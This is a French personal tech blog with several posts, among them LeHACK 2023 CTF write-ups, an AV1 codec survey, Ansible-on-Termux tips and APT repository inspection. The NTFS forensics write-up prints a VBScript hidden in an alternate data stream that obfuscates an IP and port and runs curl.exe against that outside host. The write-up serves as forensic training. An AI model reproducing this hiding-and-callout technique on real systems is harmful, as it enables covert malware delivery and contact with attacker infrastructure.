Peertube ? J’expérimenterai certainement, forcément en auto-hébergement, pas forcément chez moi, parce que j’ai pas une bande passante de malade, mais pas forcément sur mon serveur allemand non plus, le volume réseau est pas illimité là-bas. Depuis que j’ai découvert ce formidable logiciel, je verses ma petite dîme mensuelle à Framasoft pour continuer de soutenir son développement. Et je réfléchis régulièrement à rapatrier les vidéos que j’avais produite pour le blog ailleurs que sur Youtube. Cette externalisation à l’époque permettait de palier aux ressources problématiques du serveur OVH de l’époque, sans parler de la conso de bande passante, ce dernier point reste toujours valide, mon serveur n’a « que » 20To de « data » (et 1 Gbps de bande passante). À la limite avec une instance non fédérée dédiée à l’hébergement des vidéos pour le blog, mais un autre problème survient très vite car rien n’est gratuit : le stockage ! La vidéo ça pompe pas du réseau par hasard, ça prend masse de place. En un an et demi, ça prend 300Go, le serveur au total n’a que 512Go.

TL;DR : tout va bien

En gros : j’ai mis un an et demi pour écrire cet article (oui, ça aurait du sortir pour les 10 ans), j’ai fait du chemin, je suis plus actif sur Twitch qu’ici, je ne fermerai pas le blog, par contre il ne restera pas éternellement dans cet état, à maintenir la mécanique en dessous sans que ça n’apporte au final grand chose pour tout le monde, moi en premier. Sa nécessaire mutation me redonnera peut-être goût à l’écriture, sait-on jamais. Comme d’habitude, il faudra que ça apporte un point de vue intéressant que je n’ai pas déjà vu, écrit ou entendu dix fois ailleurs 😉

  •  

Writeup #LeHACK 2023, 48 meters underground

Là, on monte d’un cran, fini la crypto, la stégano ou l’OSINT, c’est de la bricole avec du firmware d’alarme à pression connectée. Et je dois mettre le crédit du résultat à Djerfy pour cette fois.

Voici la description :

Guide the backup team that’s coming up from a tunnel. Get access to one of the pressure sensitive alarm and find a way to get access to disarm all.
Flag is on the format leHACK{password}

Oui, parfois on nous donne le format du flag parce que le contenu n’est pas forcément explicite (comprendre, il n’y a pas de « leHACK »). Cette description s’accompagne donc du fichier firmware.bin, qu’il va falloir travailler. En effet :

file firmware.bin
firmware.bin: Linux kernel ARM boot executable zImage (big-endian)

zImage, ça veut dire que c’est compressé. Après une petite recherche Google, on tombe sur ce script fourni par nul autre que le créateur du noyau Linux, Linus Torvalds :

Là, on a plusieurs possibilités. J’ai entendu des voisins monter l’image décompressée et tenter de trouver l’emplacement du mot de passe en question, à partir notamment des dates de modifications de fichiers. Jérémy l’a fait un peu plus brut de décoffrage, en parcourant directement le fichier image avec vim, mix monstrueux entre séquences de fichiers textes et séquences binaires. Et si on était attentif, voilà ce qu’on trouve :

config login 
        option username 'root'  
        option password '$p$root'
        list read '*'           
        list write '*'

w4ll_h1dd3n_p13c3_<-_->
config network 
        option init network
        list affects dhcp
        list affects radvd

config wireless

C’est basique, mais comme on dit, c’est le résultat qui compte 😛

  •  

Writeup #LeHACK 2023, Where is Wally

Cette année encore, et dans la continuité de la mise en avant de la pratique de l’OSINT, une petite chasse aux infos à partir d’une image, qui va servir pour deux challenges que je vais regrouper ici.

Une fois de plus, la petite description :

Charlie is feeling a little tired and lost, he has just exited the building to his left, where he
had been for a few weeks. His GPS no longer works.

Where is Charlie ?

Oui, on a un mélange entre la version anglaise et française de « Où est Charlie ? » Mais bref, on a comme info une unique image :

Pour ma part, et pour plusieurs voisins, si on ne connait pas le bâtiment, on est bon pour faire de la recherche par image (avec Google, si vous avez d’autres sites intéressants qui le proposent, faites-vous plaisir). Évidemment, avec l’image complète ça ne fonctionne pas du tout sinon c’est trop facile. Mais si certains voisins avaient aussi échoués avec un découpage de l’image, Juliette, merci à elle, a réussi. Il s’agit du sanctuaire Notre-Dame de Fatima – Marie Médiatrice, À Paris dans le 19ème arrondissement. Oui mais, on nous dit bien dans la description que c’est le bâtiment à la gauche. Et à côté du sanctuaire, avec un outil de carte, on voit qu’il y a l’hôpital Robert Debré. Le challenge :

LeHACK{Robert_Debre}

Mais c’est pas fini !

En effet, la même image va servir à un deuxième challenge, dont j’ai zappé de noter la description, mais qui était classé dans la catégorie « Stega ». La stéganographie, on le rappelle, consiste à cacher une information dans un format inhabituel, le plus souvent une image.

Et ça tombe bien, vu qu’on a une image ! Je vous la fait courte, l’outil le plus adapté ici est zsteg, qui va extraire tout ce qu’il peut comme chaines de caractères, et parmi elles :

Charlie is in Paris (without Emily)

  •  

Writeup #LeHACK 2023, Suspicious NTFS drive

J’ai adoré le faire celui-là, c’est d’ailleurs le dernier, et il rapportait pas mal de points, alors qu’au final il était plus long que compliqué (on va pas se plaindre hein). Même si derrière, j’ai pas tout compris sur le façon dont c’était possible 🙂

Le nom ne laisse que peu de doute sur le sujet du challenge, et la description nous le confirme :

Our SOC analyst observed a log containing :

wscript.exe E:\firefox.exe:security_?????.vbs

What’s happening here ? We retrived the file system with this command :

$ sudo dd if=/dev/sda3 of=./suspicious_ntfs_drive.img bs=1M

flag format suivant : vbs filename, external IP, external port: leHACK{filename.vbs_IP_port}

Mais surprise, quand on monte l’image qu’ils nous ont fourni, on ne voit qu’un seul et unique binaire de 4Mo appelé firefox.exe. Pas chaud pour tenter de l’exécuter (si tant est que c’est possible), on se tourne vers d’autres pistes. Pour analyser des images de partitions NTFS, c’est très vite une suite d’outils appelée Sleuth Kit qui revient. Première étape, fls :

fls suspicious_ntfs_drive.img 
r/r 4-128-1:	$AttrDef
r/r 8-128-2:	$BadClus
r/r 8-128-1:	$BadClus:$Bad
r/r 6-128-1:	$Bitmap
r/r 7-128-1:	$Boot
d/d 11-144-2:	$Extend
r/r 2-128-1:	$LogFile
r/r 0-128-1:	$MFT
r/r 1-128-1:	$MFTMirr
r/r 9-128-2:	$Secure:$SDS
r/r 9-144-7:	$Secure:$SDH
r/r 9-144-4:	$Secure:$SII
r/r 10-128-1:	$UpCase
r/r 10-128-2:	$UpCase:$Info
r/r 3-128-3:	$Volume
r/r 34-128-1:	firefox.exe
r/r 34-128-3:	firefox.exe:security_launch.vbs
-/d * 31-144-1:	System Volume Information
-/r * 64-128-2:	security_launch.vbs
V/V 65:	$OrphanFiles

On voit donc notre firefox.exe, et en effet ce qui semble être un deuxième fichier .vbs qui à première vue correspond au format de la commande qu’on nous a donné dans la description, on a donc une partie du flag. Si on le voit, on doit pouvoir le récupérer, même si on l’a vu, en montant la partition ça ne donne rien. D’autres outils du Sleuth Kit vont nous aider, en particulier icat :

icat suspicious_ntfs_drive.img 34-128-3
Dim shl
Set shl = CreateObject("Wscript.Shell")
Dim dest
aaa = replace("hello","h","w")
bbb = StrReverse("86")
ccc = Right("90018000",4)
dest = "http://"+chr(49)+"93.1"+bbb+".1.42:"+ccc+"/dothethingzuulee"
Call shl.Run("""curl.exe"" "+dest)
Set shl = Nothing
WScript.Quit
'flaag=almostthere

Tiens, ça me rappelle quelques souvenirs de fichiers PHP obfusqués. En tout cas, on voit une URL et un port à trouver, donc la suite de notre flag. Certes l’adresse IP demande un poil de boulot, pas très compliqué, le résultat est donc :

leHACK{security_launch.vbs_193.168.1.42_8000}

 

  •  

Writeup #LeHACK 2023, Cryptanga

Autre challenge réussi pendant ce wargame LeHACK, petite référence à un pays imaginaire, assez facile même si j’avoue facilement que ça a été un peu le « ta gueule c’est magique ».

La description du challenge est la suivante :

You intercept a message from the embassy of the country Cryptanga. Find out which transformation was used to encode this message, decode it and retrieve the secret code of the Cryptangian Ministry.

Le message brut est assez long, je préfère vous mettre le fichier en brut :

lh23_cryptanga

Au début, j’ai pensé à du ROT, mais aucune variante n’a donné de résultat. Et puis on m’a indiqué qu’avec un site particulier qui s’appelle dcode.fr qui propose un « cipher identifier » qui nous indique du « Letters Bars », on peut ensuite décoder avec un autre outil du même site. Je vous laisse tester, mais un passage du message en particulier nous donne la solution :

(...)VEUILLEZEGALEMENTLUIREMETTREUNPASSEPORTAVECLECODESECRETQWVMEGHPOURRENTRERDANSLESITEMINIER(...)

Voilà notre solution : LeHACK{QWVMEGH}

  •  

Writeup #LeHACK 2023, scan-me

Je n’avais pas vraiment été rigoureux l’année dernière, et j’avais rien noté. Cette année, j’ai fait un peu mieux pour noter les éléments des challenges réussis pendant le Wargame LeHACK 2023. On commence avec le plus facile, scan-me.

Peu de description, et une image à récupérer. Celle-ci contient non pas un mais deux QR-Codes, mais y’a un twist :

Le scan « extérieur » avec un téléphone donne le message suivant :

"Ou est le flag ?
Exclusivement "Au C3nTr3"

OK, on s’en doutait un peu, mais y’a un hic : le QR-Code central, il est pas complet. Pas de miracles, j’ai sorti The GIMP pour retoucher et réparer les coins du QR-Code. Résultat :

0D 10 00 05 5F 0F 33 52 56 32 01 1A 63 6B 43 1B 20 6C 0D 10 7F 10 5B 0B 26 1B 55 1E 11 45 1C 7F 49 31 01 43 20 16 45 62 12 64

À partir de là, on a tous les éléments pour terminer, sauf quand on est un débile comme moi qui n’utilise pas les bonnes options dans les bons outils. Reprenons le message, « Exclusivement » fait penser à XOR. Et là où j’ai perdu un temps fou, c’est que j’ai utilisé CyberChef pour faire la transformation, sauf que je le faisais pas en mode ASCII (Latin1 ou UTF-8 même combat je crois). Bref, quand on passe la clé « Au C3nTr3 », ça donne :

X-OR_Le_Sherif_de_L'espace!!

 

  •  

AV1 : ça bouge enfin !

La dernière fois que j’avais parlé du super codec du futur, c’était y’a 4 ans, et je disais qu’il fallait attendre encore deux ans pour le voir dans le monde réel. Optimisme et Covid n’étant pas bons amis, il aura fallu pas mal de temps supplémentaire pour que ça se concrétise. Petit panel certainement non exhaustif, mais tout de même…

À l’époque, le codec venait de se montrer dans la lumière pour apparaître dans une première version exploitable. Les ressources nécessaires aussi bien pour l’encodage que le décodage étaient assez énervées, ce qui le rendait inutilisable ou presque dans la pratique en tout cas pour le cas le plus consommateur des usages de ces dernières années, le streaming vidéo, que ce soit pour du contenu à la demande ou en direct.

Le matériel à la fête

Depuis, et donc avec le retard dû au COVID, les choses ont quand même fini par bouger. Dans le domaine du PC, les dernières générations de GPU intègrent non seulement des décodeurs AV1, mais surtout des encodeurs. La cible principale reste le streaming, et le logiciel de référence, OBS, supporte les trois fabricants principaux. Oui parce qu’entre temps, Intel est arrivé dans le marché des cartes graphiques dédiées, très tardivement il est vrai, avec les ARC, et si les performances brutes en jeu sont particulièrement décevantes surtout pour un produit qui a mis plus de deux ans à sortir après son annonce, les performances sur la partie encodage vidéo, notamment si on utilise la petite 380, sont très intéressantes. Et ça d’autant plus qu’AMD et Nvidia se lâchent grave en ce moment avec des gammes complètement hors sol en termes de tarif et de consommation.

Source: Cowcotland

Ces capacités de décodages sont aussi en déploiement depuis deux ans dans plusieurs gammes de laptop, aussi bien ceux équipés en GPU dédiés, évidemment, qu’en GPU intégrés. Et pour rester dans le domaine du logiciel, ça avance un peu partout à petits pas, que ce soit sur un support purement logiciel via différents encodeurs disponibles tous open-source (c’est un peu une des bases de la philosophie du codec en même temps), soit le support des encodeurs matériels qui sont peu à peu disponible. j’évoquais OBS un peu plus tôt, il n’est pas seul, et que ce soit des briques de base comme ffmpeg, libva ou des outils plus complets comme des outils de transcodage type Handbrake ou des éditeurs vidéo (DaVinci, Vegas, Premiere), les navigateurs web d’une manière ou d’une autre arrivent aussi petit à petit à lire le format via le matériel, bref, on est bien désormais. Si tant est qu’on a le matériel pour évidemment.

Le monde du smartphone aussi à droit à son support au moins en décodage dans la majorité des puces sorties depuis 2020, en tout cas celles pour des bidules à plus de 400€, là où les gammes se renouvellent le plus rapidement sur la partie SoC. Snapdragon, Dimensity, Exynos, Tensor, ils y passent tous. Raison pour laquelle Netflix diffuse en AV1 sur Android depuis deux ans maintenant dès que possible. Les avantages attendus sont toujours là : consommation réduite à qualité égale, donc économie de réseau, et surtout, économie en licences parce H264 et H265, ça coûte une burne en tant que diffuseur. Ce mouvement sur les smartphones diffuse aussi désormais à tout le reste des gammes : lecteurs multimedia de salon, et surtout le nouveau cancer, à savoir les smartTV qui sont pratiquement toutes sous Android. Mais là le flou est total, pour savoir ce qu’une TV a dans le ventre en pratique pour le support derrière, c’est pas évident.

Un grand absent cependant : le Raspberry Pi. Le produit phare de la fondation est dans une situation compliquée : la production de la plus populaire des SBC est au plus bas depuis plus de deux ans, avec des conséquences importantes sur les prix et surtout une disponibilité quasi inexistante. La fondation a fait le choix de privilégier des partenaires intégrant les cartes dans leurs produits, souvent à destination du monde industriel, à rebours donc de la cible première qu’est le monde de l’éducation, et par extension des bidouilleurs de tout poil. Et ces difficultés sur la version actuelle de la carte, qui ne supporte pas le format, a repoussé les travaux sur la version future, que le patron a annoncé ne pas sortir avant minimum 2024.

Le support chez les plateformes

Youtube propose déjà de l’AV1 pour les résolutions QHD+, Netflix comme je l’ai dit l’utilise dès que possible en particulier sur Android, Vimeo propose le codec depuis 2019 déjà. Un des plus gros acteurs par contre fait tâche : Twitch est particulièrement en retard. La plateforme d’Amazon ne propose déjà toujours pas de codec plus performant qu’H264, principalement pour des raisons de licences, et les fortes limites sur les débits font que la qualité des streams s’en ressent dès qu’on sort des point&clicks et des just chatting. Le H265 est fortement attendu, mais avec les GPU dernière générations qui supportent tous l’encodage, qui sont même relativement abordables pour les configurations de streams à deux PC (les A380 sont vraiment très intéressantes sur ce point), ils pourraient directement proposer un passage à l’AV1. En tout cas ça serait dans l’intérêt de tout le monde.

Il manque Dailymotion !

BIG UPDATE : alors que je n’avais pas encore fini de mettre en forme l’article, le pavé est tombé dans la mare et va faire mal à Twitch s’ils se réveillent pas bientôt : Youtube a annoncé prendre en charge le streaming en AV1, via RTMPS (parce que HLS c’est bien pour la lecture, mais sinon c’est pas ouf), et OBS 29.1 qui est sorti en beta dans la foulée va prendre en charge directement tout ça. Vu que le matériel pour les streamers est là, c’est pas surprenant.

On est quand même pas débarrassé des brevets

Le retard pris sur le calendrier initial fait que le H265 a malheureusement eu le temps de s’infuser dans beaucoup trop de systèmes, le BluRay en tête. Certes ça devient un marché de niche, notamment pour la 4K/8K, mais le standard Bluray n’est pas prêt d’évoluer pour exploiter le codec ouvert. Il reste aussi utilisé, avec le grand frère H264, pour les appareils/applications ne décodant pas l’AV1 nativement, et même avec la disponibilité désormais dans tous les secteurs le « grand remplacement » ce n’est pas pour demain. Le parc côté smartphones est assez imposant et va le rester pendant encore quelques paires d’années malheureusement, à moins d’avoir l’AV1 dans des puces pour smartphones à pas cher très très rapidement; surtout que ce n’est jamais mis en avant donc pas un critère d’achat ou de renouvellement pour les gens. Pareil pour le parc PC même en matière de lecture uniquement, avant qu’on ait une majorité de matériel AV1-ready, il va s’en passer des années, vu que même les laptops savent encore durer longtemps et qu’il faut les remplacer entièrement pour en bénéficier, contrairement aux PC de bureau ou juste la carte graphique a besoin d’un nouveau challenger. Pareil pour les appareils de salon, même si les consoles récentes sont capables de s’en sortir logiciellement avec l’AV1, pas dit que le reste des lecteurs type player de box internet basculent rapidement vers un support intégré; et une TV ça se change pas tous les deux ans, même si les fabricants essaient de vous convaincre du contraire au mépris de toute considération écologique. Sans parler que les chaînes de télé classiques diffusées par ces biais continuent d’utiliser du H264…

Mais c’est là !

Enfin, en tout cas, on y est, l’AV1 est une réalité tangible pour beaucoup de gens désormais, à l’instar de la fibre optique qui a enfin décollé ces cinq dernières années. Certes avec son lot de problèmes sur la qualité de certaines installations notamment en agglomération. C’est assez rare qu’une initiative aussi ouverte ait vu le jour, même si ce n’est pas seulement pour des raisons techniques ou éthiques mais bien financières et légales, on ne va pas s’en plaindre ?

  •  

Et si on tentait le streaming ?

« Quoi, toi aussi tu veux faire comme tout le monde ? » Alors sur le principe de la diffusion en direct, oui, au moins tenter l’expérience; et si ça plaît à personne, tant pis, j’aurais essayé au moins. Disons que j’ai envie de prendre un angle particulier, et qu’on va détailler ça rapidement parce que ça tiendra pas dans un tweet/pouet 🙂

Oui, ce que je ferai en stream sera orienté technique, administration système, dans une optique d’expérimentation/veille techno. C’est moins rare à trouver comme format mais je me vois mal me lancer dans l’exercice en tentant de tailler des bouts de bois, j’ai beau avoir un double héritage de menuisier, je n’ai pas beaucoup pratiqué dans ma vie. Cela étant dit, s’il y a un constat que je fais depuis plus d’un an, c’est que je ne « bidouille » pratiquement plus, parce que le faire tout seul me fait chier, tout simplement. Certes je continue de lire beaucoup, beaucoup trop parfois, mais je ne pratique plus. Pourtant j’en vois passer des trucs qui pourraient me servir, aussi bien dans un contexte perso que pro, mais la procrastination extrême vantée dans ma bio Twitter n’est pas un mythe, loin de là. Le faire en partageant m’intéresse donc beaucoup pour « retrouver la flamme ».

Peut-être pas à ce point-là quand même 🙂

Ça c’est l’aspect purement égoïste, mais il y a autre chose qui me manque et qui l’est moins : le partage. Il y a plusieurs choses que je n’ai pas réussi ou cherché à transmettre au travers du blog depuis ces presque 10 ans, en tout cas pas de manière explicite, c’est un état d’esprit, une curiosité qui permet de ne jamais rester sur place, aussi bien sur de nouvelles technos (outils, langages…) qu’à creuser plus profond celles qu’on a déjà abordées en surface. Mais également, un aspect « amateur » par lequel il ne faut pas avoir peur de passer, d’autant plus quand on découvre un nouvel univers. Il ne sera pas question de tenter d’égaler le sérieux et la rigueur des stars déjà en place ou montantes. Il s’agira de streams respectant une méthode que j’affectionne particulièrement, où il sera autant question de suivre un simple tuto que d’explorer des alternatives parce qu’on a pas le bon setup ou qu’on veut éviter les trucs qui nous plaisent pas (non Docker n’est pas toujours le meilleur truc à avoir pour déployer un service).

Par exemple, j’ai envie de démarrer avec l’exploration d’une alternative à Notion, suite à un tweet que j’ai vu passer posant une question autour d’outils de ce genre. Le Mediawiki que j’ai installé suite à la perte des données du précédent vps a dépanné mais me convient moyennement à l’ergonomie, ça sera l’occasion de vérifier si ce genre d’outil fera un remplaçant possible; voire aller au delà, puisqu’on parle d’organiseur de pensée, pratiquement. Il ne sera pas question de valider une véritable installation, on sera peut-être amené à faire des trucs vraiment pas recommandés en production, mais ça montrera aux moins aguerris comment mettre les mains dedans sans se faire peur. Mais il n’y a pas de contrainte forte non plus : si j’ai envie de tester un plus gros morceau, genre Peertube, il n’est pas dit qu’il n’aura pas droit à une installation beaucoup plus propre dès le départ, il n’y a pas de raison. En ce moment j’expérimente aussi l’utilisation de Rocky Linux 9. Avec mon focus professionnel sur Kubernetes, depuis quelques années, j’ai un peu de retard dans la mise à jour de mes connaissances de l’univers RedHat (SELinux !), donc exploiter des installations sur cet OS quand beaucoup de tutos vous bassinent avec Debian ou Ubuntu, ça peut être intéressant pour montrer les différences philosophiques entre les deux univers. Et oui, on échappera pas à un peu de Kubernetes aussi parce que pourquoi pas 🙂

Non, on ne plongera pas trop là-dedans, trop déprimant 😀

Bref, on le voit, les idées ne manquent pas; et on peut même tenter les vôtres si ça attise ma curiosité. Reste à décider quand, et où : j’ai commencé mon setup avec Youtube, donc on commencera là-bas. Tout simplement parce que j’avais déjà tout sous la main, dont le compte. Aussi parce que je voulais vérifier si je pouvais bien pousser du H265 avec un débit correct sur mon gros PC, et c’est le cas, ce qu’on peut pas faire encore sur Twitch. Et je n’ai pas à me demander si je dois enregistrer en plus de diffuser pour garder l’historique de la diffusion, YouTube le fait direct. Pour le quand, je me dis qu’un mardi ou mercredi soir serait pas mal, sachant que je vise des sessions d’une à deux heures maximum, pour pas trop bassiner les gens. Quant à la fréquence, on peut tenter une fois par semaine, mais ça ne sera pas une règle absolue. Je vais essayer d’être bon élève pour prévenir/confirmer les occurrences à la fois sur Twitter et Mastodon (lien dans le menu des Favoris, en attendant une meilleure intégration).

Alors, ça vous dit ?

  •  

Installer Ansible sur Android/Termux, ça reste chiant

Il y a quelques années Cascador avait partagé comment installer Ansible sur Android, via termux. Parce que déjà à l’époque c’était compliqué en termes de compatibilité. On est en 2023 et j’ai pu passer une partie d’un trajet récent en TGV (mon premier trajet en train en 10 ans) à galérer pour refaire ça sur un Android 11. Comme quoi c’est toujours pas magique l’informatique.

Eh oui, naïf comme je suis, j’ai pensé qu’avec python 3 et un Android récent, ça se passerait mieux, et qu’on serait pas obligé d’utiliser une version dépassée. C’était sans compter sur certaines dépendances, et notamment l’une d’entre elles qui est cryptography. Il s’avère que cette dépendance compile du code Rust, et c’est cette compilation qui demande de l’attention.

Au départ, on fait comme d’habitude et on installe/update python. A noter que Python 3 étant le seul présent, les packages s’appellent juste python-*. Donc on vérifie/installe python et python-pip, et on peut attaquer le travail :

mkdir ~/.venv
python -m venv ~/.venv/ansible
source ~/.venv.ansible/bin/activate
pip install -U pip wheel
pip install ansible

Et là, PAF ! pendant la première installation, cryptography me claque une erreur qui semble liée à Rust (évidemment, je n’ai pas pensé à conserver le log, même pas une capture d’écran…). En fait, rust n’est tout simplement pas installé, en même temps on s’attend pas à devoir compiler du Rust en installant un package python hein… Donc on l’ajoute, et on en profite pour quelques dépendances en plus :

pkg install build-essentials openssl libffi rust

Mais ce n’est pas suffisant, nouvel essai, nouvel échec. Cette fois, ce sont les options de compilation de Rust qui demandent à être adaptées. Fort heureusement, ça peut se faire avec des variables d’environnement. Dans mon cas, les deux suivantes étaient requises :

export RUSTFLAGS="-C -lto=n"
export CARGO_BUILD_TARGET="aarch64-linux-android"

Et là, en relançant mon pip install ansible, il a fini par terminer la compilation et donc l’installation effective d’ansible.

Au passage je déconseille fortement de faire ce genre de choses pendant un déplacement, le besoin d’accéder au réseau de manière stable est loin d’être garanti et j’ai perdu un peu de temps avec des coupures spontanées de connexion pendant les installs de paquets, aussi bien de pkg/apt (parce que oui, pkg dans termux dans la pratique c’est apt), que de pip.

Bon à savoir également, starship est disponible directement dans les packages, je n’ai pas encore déployé ma config perso, mais c’est cool et moins chiant que de jouer avec asdf. Même si ça asdf fera partie des choses que je compte installer aussi dans mon environnement mobile 🙂

  •  

Recherche de contenu de repository sur Debian/Ubuntu

Ça fait longtemps que j’avais pas eu à mettre les mains dans les coulisses du gestionnaire de paquet APT. D’ailleurs la dernière fois que j’ai eu à en parler ici, c’était en 2016, c’est dire. Mais grâce à mon super laptop de boulot sous Ubuntu, récemment j’ai eu à replonger dedans, du coup, on va voir ce qu’il en est.

Lors d’une mise à jour hebdomadaire, je me suis pris une erreur sur de clé GPG sur un dépot : https://apt.iteas.at/. Le site en question indique comment ajouter la nouvelle clé, mais avant de l’ajouter, j’ai quand même voulu chercher pourquoi ce dépôt était présent en premier lieu. Une chose est sure, déjà, c’est pas installé par les équipes info Accenture, c’est un ajout de mon cru. Mais ça ne m’avance pas plus que ça, l’historique de mon navigateur ne me donnant aucune piste particulière. Je me suis donc dit que je devais avoir les infos en local, à savoir les infos des paquets installés.

Sans en discuter la pertinence ou les dangers, un des avantages des fichiers locaux d’apt est qu’ils sont en texte brut, et donc on peut les scanner avec des outils de bases dispo sur pratiquement toutes les distributions linux. En l’occurrence, c’est dans le dossier /var/lib/apt/lists qu’on va se rendre. On y trouve une série de fichiers pour chaque dépot référencé, dans mon cas il se nomme apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages. Chaque paquet y est référencé avec toute une série d’informations.

En l’occurrence, je cherche juste le nom, pour demander ensuite à dpkg s’il est installé. On remarque par contre qu’un nom de paquet peut apparaître plusieurs fois, car toutes les versions disponibles sont référencées. En triant un peu, on arrive vite à un one-liner comme on aime les faire :

for i in $(grep "Package:" apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages |sort -n |uniq |awk '{print $2}'); do dpkg -l $i 2>/dev/null; done

Le résultat de cette première version mériterait un peu plus de traitement pour la lisibilité. La ligne du nom du paquet est préfixée par deux lettres pour indiquer le statut du paquet. Il suffit de chercher ceux qui sont avec « ii » :

for i in $(grep "Package:" apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages |sort -n |uniq |awk '{print $2}'); do dpkg -l $i 2>/dev/null | grep "ii"; done

ii keepassxc 2.6.4-1ppa1~focal1 amd64 KeePass Cross-Platform Community Edition
ii microsoft-edge-stable 109.0.1518.70-1 amd64 The web browser from Microsoft
ii openfortigui 0.9.8-1 amd64 GUI for openfortivpn
ii teams 1.5.00.23861 amd64 Microsoft Teams for Linux is your chat-centered workspace in Office 365.

Ok, du coup le souvenir m’est revenu. J’ai ajouté le dépôt pour installer openfortigui, en suivant la documentation (Fortinet étant le VPN utilisé par feu LinkByNet). Par contre, on voit dans les résultats que KeepassXC, Teams et Edge sont désormais « gérés » via ce dépôt. Autant, pour KeepassXC, c’est pas si grave, mais pour Teams et Edge, j’ai déjà les dépôts Microsoft à l’origine. Certes, désormais le client Teams va être abandonné (au « profit » de la version web qui est une tannée à utiliser au quotidien, et qui perd beaucoup trop de fonctions pour une appli de bureau – c’est pour ça que j’ai installé Edge au départ d’ailleurs), mais c’est une surprise dont je me serais passé.

  •  

La signification de mon avatar

Favicon du blog, Twitter, LinkedIn, Github, Gitlab, YouTube, NextInpact, Steam, et désormais Mastodon, si vous me suivez quelque part vous n’êtes pas sans avoir que je suis fan d’un certain univers. Pourtant, à la faveur d’une remarque sur l’effroi que peut générer cette image, je me rends compte que peu de gens comprennent sa signification. C’est subtil, à l’image de ce que propose le premier volet cinématographique dudit univers.

Voilà le message qui m’a un peu trigger, tout en souriant évidemment devant le ton humoristique sur lequel il est écrit :

Et il s’avère que si j’ai pu partager de vive voix, notamment avec certains collègues de boulot (oui je mets pas ma photo sur mon compte pro non plus :D), sur la subtilité de cet avatar, non seulement la référence du film n’est pas évident pour tout le monde, mais la signification de cet avatar en particulier l’est du coup encore moins. Il est donc temps de faire honneur à cette image, dont l’utilisation s’avère, on est d’accord, un poil tendancieuse sur le terrain du droit d’auteur.

The Matrix, un de mes films préférés, dans le Top 5

Le film est sorti en 1999, alors je pars du principe que la plupart l’ont vu. Si vous n’avez pas encore visionné ce chef d’œuvre du cinéma de science-fiction (certains diraient presque d’anticipation, mais faut pas pousser), il me semble qu’il est possible de le voir sur Netflix, en location sur Amazon Prime – oui oui, en plus de l’abonnement qui vient d’augmenter de 20 balles – , ou en Bluray 4K dont je suis peu fan du traitement colorimétrique dont il a fait l’objet, on verra pourquoi dans un instant. Et une fois que c’est visionné, revenez pour la suite. Ou si vous êtes motivés, vous vous pavez la trilogie, mais comme mon avatar fait référence au premier, tant que vous revenez, après, hein…

Oui, j’évite volontairement de parler de Resurrections – le 4 quoi -, c’est pour votre bien

Si vous vous en tapez un peu, pas grave, voici un petit résumé. Sorti de nulle part, écrit et réalisé par deux frangins (oui à l’époque elles étaient encore des hommes), dont c’est le deuxième film seulement, le film nous embarque dans un univers plus que dystopique, ou l’humanité sert de batteries pour des machines intelligentes, humanité au cerveau branché en direct dans une sorte d’open world ++, La Matrice, et dont tout est fait pour qu’ils restent « endormis » dans ce monde afin d’exploiter tout le potentiel électrique jusqu’à leur mort. Certains se sont réveillés et enfuits, débranchés, reviennent de temps en temps dans ce monde comme des pirates pour tenter de réveiller toujours plus de personnes. Ces pirates mènent aussi une guerre bien réelle cette fois en dehors du monde virtuel contre les machines qui exploitent l’énergie, machines qui tentent évidemment de garder leur pré carré, voire d’aller débusquer les humains où ils se cachent pour les détruire.

Parmi ces pirates, l’un tente de trouver « l’élu », un mec ou une nana plus éveillée que les autres et capable de dépasser les règles du monde conçu par les machines, pouvant alors prendre l’avantage sur les machines depuis l’intérieur du système afin de libérer toute l’humanité. On passera sur l’aspect religieux à peine voilé de l’histoire (qui devient carrément gênant dans le troisième film), pour revenir au chercheur d’or. Il s’appelle Morpheus, fait un peu office d’évangéliste chez les humains – tout le monde ne croit pas forcément en cette histoire d’Élu -, et c’est donc le personnage que l’on voit dans mon avatar. À un moment du film, Morpheus se fait capturer pour permettre à Neo, qui est censé être l’Élu (c’est pas encore clair pour les personnages encore à ce moment-là), de s’échapper de la Matrice. Il est donc capturé, toujours « branché » à la Matrice, et torturé par des « agents », sorte d’antivirus locaux, parce que le bougre étant un ponte dans le milieu des humains, il est censé détenir des codes d’accès pour la seule cité humaine bien loin dans les profondeurs du sol terrestre. Pour la suite et la fin du film, ben je vous laisse le regarder (ou lire le synopsis complet sur Wikipedia pour les plus flemmards).

La subtilité qui fait tout

Dans le film, la distinction entre le monde réel et la Matrice se fait principalement sur la colorimétrie de l’image. Dans la Matrice, tout a une teinte un peu verdâtre, et l’image est ultra propre et lumineuse. Dans le monde réel au contraire, c’est bleu, voire gris, et beaucoup plus sombre. Il serait difficile de faire autrement puisqu’on apprend que dans la guerre contre les machines, à une époque où humains et machines vivaient uniquement d’énergie solaire, les humains ont salopé toute l’atmosphère pour plonger le monde dans une nuit éternelle. D’où la solution des machines de se servir des humains directement, pas folles les guêpes 😉

Bref, pendant le fameux interrogatoire, Morpheus est donc, dans le monde réel, allongé sur son fauteuil de dentiste, la tête branchée à un ordinateur pour le plonger dans la Matrice, et c’est dans cette Matrice que son esprit est attaqué pour lui faire cracher les fameux codes. Donc cette image de torture avec les électrodes dans le film, vous la voyez en vert, ce qui traduit donc une lutte pour échapper au monde virtuel, en tout cas à ses geôliers. Mais mon avatar, vous l’aurez compris, n’est pas teinté de vert, mais bien teinté de bleu, et avec la grille de lecture de la scène, on peut penser que Morpheus essaie cette fois d’échapper au monde réel.

C’est pas cool comme image du coup, pour illustrer ce qui n’est qu’un avatar numérique ? Moi j’adore 🙂 Je l’ai trouvé à une époque où je me sentais beaucoup mieux en ligne que dans le monde réel, et même si c’est beaucoup moins le cas désormais (je me soigne un peu, deux ans de Covid n’ont pas aidé par contre), j’ai du mal à vouloir en changer. Le monde réel ne va toujours pas mieux, mais désormais ça se ressent aussi en ligne, pas évident. Je garde le même en le foutant en noir et blanc peut-être ?

La salle d’interrogation originale, avec sa teinte verte

Oui, j’en fais peut-être un peu trop

